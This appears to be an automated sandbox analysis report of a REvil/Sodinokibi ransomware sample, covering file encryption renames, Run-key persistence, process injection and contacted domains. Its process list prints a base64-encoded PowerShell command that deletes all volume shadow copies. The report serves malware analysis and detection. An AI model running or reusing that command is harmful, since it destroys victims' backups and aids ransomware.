Analysis Overview
SHA256
4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813
Threat Level: Known bad
The file 4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813 was found to be: Known bad.
Malicious Activity Summary
Sodin,Sodinokibi,REvil
Modifies extensions of user files
Enumerates connected drives
Adds Run key to start application
Drops file in System32 directory
Sets desktop wallpaper using registry
Suspicious use of SetThreadContext
Drops file in Windows directory
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-02-11 02:12
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2022-02-11 02:12
Reported
2022-02-11 02:15
Platform
win10v2004-en-20220113
Max time kernel
149s
Max time network
154s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\UpdateShow.tif => \??\c:\users\admin\pictures\UpdateShow.tif.a8u5r3dw1c | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| File opened for modification | \??\c:\users\admin\pictures\InitializeExit.tiff | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ApproveNew.crw => \??\c:\users\admin\pictures\ApproveNew.crw.a8u5r3dw1c | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\AssertUnlock.crw => \??\c:\users\admin\pictures\AssertUnlock.crw.a8u5r3dw1c | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ClearReset.raw => \??\c:\users\admin\pictures\ClearReset.raw.a8u5r3dw1c | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\InitializeExit.tiff => \??\c:\users\admin\pictures\InitializeExit.tiff.a8u5r3dw1c | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ResolveInvoke.png => \??\c:\users\admin\pictures\ResolveInvoke.png.a8u5r3dw1c | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe" | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
Enumerates connected drives
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3488 set thread context of 1636 | N/A | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe |
Drops file in Program Files directory
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SoftwareDistribution\ReportingEvents.log | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\Logs\CBS\CBS.log | C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe | N/A |
| File opened for modification | C:\Windows\WinSxS\pending.xml | C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe | N/A |
| File opened for modification | C:\Windows\WindowsUpdate.log | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\SoftwareDistribution\DataStore\DataStore.edb | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm | C:\Windows\system32\svchost.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe
"C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe
"C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| NL | 67.26.111.254:80 | tcp | |
| NL | 67.26.111.254:80 | tcp | |
| NL | 67.26.111.254:80 | tcp |
Files
memory/1424-130-0x000001D8E0530000-0x000001D8E0540000-memory.dmp
memory/1424-131-0x000001D8E0590000-0x000001D8E05A0000-memory.dmp
memory/1424-132-0x000001D8E3270000-0x000001D8E3274000-memory.dmp
memory/3488-133-0x0000000000DA8000-0x0000000000DC8000-memory.dmp
memory/1636-134-0x0000000000400000-0x000000000042C000-memory.dmp
memory/3488-135-0x0000000000DA8000-0x0000000000DC8000-memory.dmp
memory/3488-136-0x00000000001C0000-0x00000000001EB000-memory.dmp
memory/1636-137-0x0000000000400000-0x000000000042C000-memory.dmp
memory/4264-138-0x0000023B4A6E0000-0x0000023B4A702000-memory.dmp
memory/4264-139-0x00007FFF87B33000-0x00007FFF87B35000-memory.dmp
memory/4264-140-0x0000023B4A6D0000-0x0000023B4A6D2000-memory.dmp
memory/4264-141-0x0000023B4A6D3000-0x0000023B4A6D5000-memory.dmp
memory/4264-142-0x0000023B4A6D6000-0x0000023B4A6D8000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2022-02-11 02:12
Reported
2022-02-11 02:15
Platform
win7-en-20211208
Max time kernel
146s
Max time network
161s
Command Line
Signatures
Sodin,Sodinokibi,REvil
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\BlockRename.crw => \??\c:\users\admin\pictures\BlockRename.crw.nn1hj5dq | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\InstallUse.png => \??\c:\users\admin\pictures\InstallUse.png.nn1hj5dq | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ReceiveExport.png => \??\c:\users\admin\pictures\ReceiveExport.png.nn1hj5dq | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe" | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
Enumerates connected drives
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\CatRoot2\dberr.txt | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\i0kxxre.bmp" | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 956 set thread context of 1744 | N/A | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe |
Drops file in Program Files directory
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe
"C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe"
C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe
"C:\Users\Admin\AppData\Local\Temp\4de36756490f54e1890ea95e057f5fbcc9e01cd4db9fe766b99550ffcc315813.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | kojima-shihou.com | udp |
| JP | 157.7.44.182:443 | kojima-shihou.com | tcp |
| JP | 157.7.44.182:443 | kojima-shihou.com | tcp |
| US | 8.8.8.8:53 | 4net.guru | udp |
| HK | 47.75.130.171:443 | 4net.guru | tcp |
| US | 8.8.8.8:53 | promesapuertorico.com | udp |
| US | 34.98.99.30:443 | promesapuertorico.com | tcp |
| US | 34.98.99.30:443 | promesapuertorico.com | tcp |
| US | 8.8.8.8:53 | truenyc.co | udp |
| FR | 94.23.111.219:443 | truenyc.co | tcp |
| FR | 94.23.111.219:443 | truenyc.co | tcp |
| US | 8.8.8.8:53 | longislandelderlaw.com | udp |
| US | 198.71.233.51:443 | longislandelderlaw.com | tcp |
| US | 198.71.233.51:443 | longislandelderlaw.com | tcp |
| US | 8.8.8.8:53 | waywithwords.net | udp |
| GB | 3.11.210.207:443 | waywithwords.net | tcp |
| GB | 3.11.210.207:443 | waywithwords.net | tcp |
| US | 8.8.8.8:53 | insp.bi | udp |
| DE | 78.47.2.70:443 | insp.bi | tcp |
| DE | 78.47.2.70:443 | insp.bi | tcp |
| US | 8.8.8.8:53 | candyhouseusa.com | udp |
| DE | 85.214.77.144:443 | candyhouseusa.com | tcp |
| US | 8.8.8.8:53 | stopilhan.com | udp |
| US | 3.130.253.23:443 | stopilhan.com | tcp |
| US | 3.130.204.160:443 | stopilhan.com | tcp |
| US | 8.8.8.8:53 | dsl-ip.de | udp |
| DE | 167.233.1.188:443 | dsl-ip.de | tcp |
| DE | 167.233.1.188:443 | dsl-ip.de | tcp |
| US | 8.8.8.8:53 | purposeadvisorsolutions.com | udp |
| US | 99.83.190.102:443 | purposeadvisorsolutions.com | tcp |
| US | 99.83.190.102:443 | purposeadvisorsolutions.com | tcp |
| US | 8.8.8.8:53 | despedidascostablanca.es | udp |
| FR | 87.98.231.16:443 | despedidascostablanca.es | tcp |
| US | 8.8.8.8:53 | wari.com.pe | udp |
| US | 216.245.221.34:443 | wari.com.pe | tcp |
| US | 216.245.221.34:443 | wari.com.pe | tcp |
| US | 8.8.8.8:53 | panelsandwichmadrid.es | udp |
| ES | 82.98.155.67:443 | panelsandwichmadrid.es | tcp |
| US | 8.8.8.8:53 | tennisclubetten.nl | udp |
| NL | 84.244.132.79:443 | tennisclubetten.nl | tcp |
| NL | 84.244.132.79:443 | tennisclubetten.nl | tcp |
| US | 8.8.8.8:53 | dirittosanitario.biz | udp |
| DE | 195.201.173.216:443 | dirittosanitario.biz | tcp |
| US | 8.8.8.8:53 | softsproductkey.com | udp |
| US | 8.8.8.8:53 | vibehouse.rw | udp |
| DE | 136.243.23.15:443 | vibehouse.rw | tcp |
| US | 8.8.8.8:53 | udp | |
| N/A | 149.248.37.133:443 | tcp |
Files
memory/956-54-0x0000000000C5B000-0x0000000000C7C000-memory.dmp
memory/1744-55-0x0000000000400000-0x000000000042C000-memory.dmp
memory/956-56-0x0000000000C5B000-0x0000000000C7C000-memory.dmp
memory/956-57-0x0000000000230000-0x000000000025B000-memory.dmp
memory/1744-58-0x0000000000400000-0x000000000042C000-memory.dmp
memory/1744-59-0x00000000763B1000-0x00000000763B3000-memory.dmp
memory/556-60-0x000007FEFC241000-0x000007FEFC243000-memory.dmp
memory/556-62-0x000007FEF5BCE000-0x000007FEF5BCF000-memory.dmp
memory/556-63-0x0000000002410000-0x0000000002412000-memory.dmp
memory/556-64-0x0000000002412000-0x0000000002414000-memory.dmp
memory/556-65-0x0000000002414000-0x0000000002417000-memory.dmp
memory/556-61-0x000007FEF34A0000-0x000007FEF3FFD000-memory.dmp
memory/556-66-0x000000001B720000-0x000000001BA1F000-memory.dmp
memory/556-67-0x000000000241B000-0x000000000243A000-memory.dmp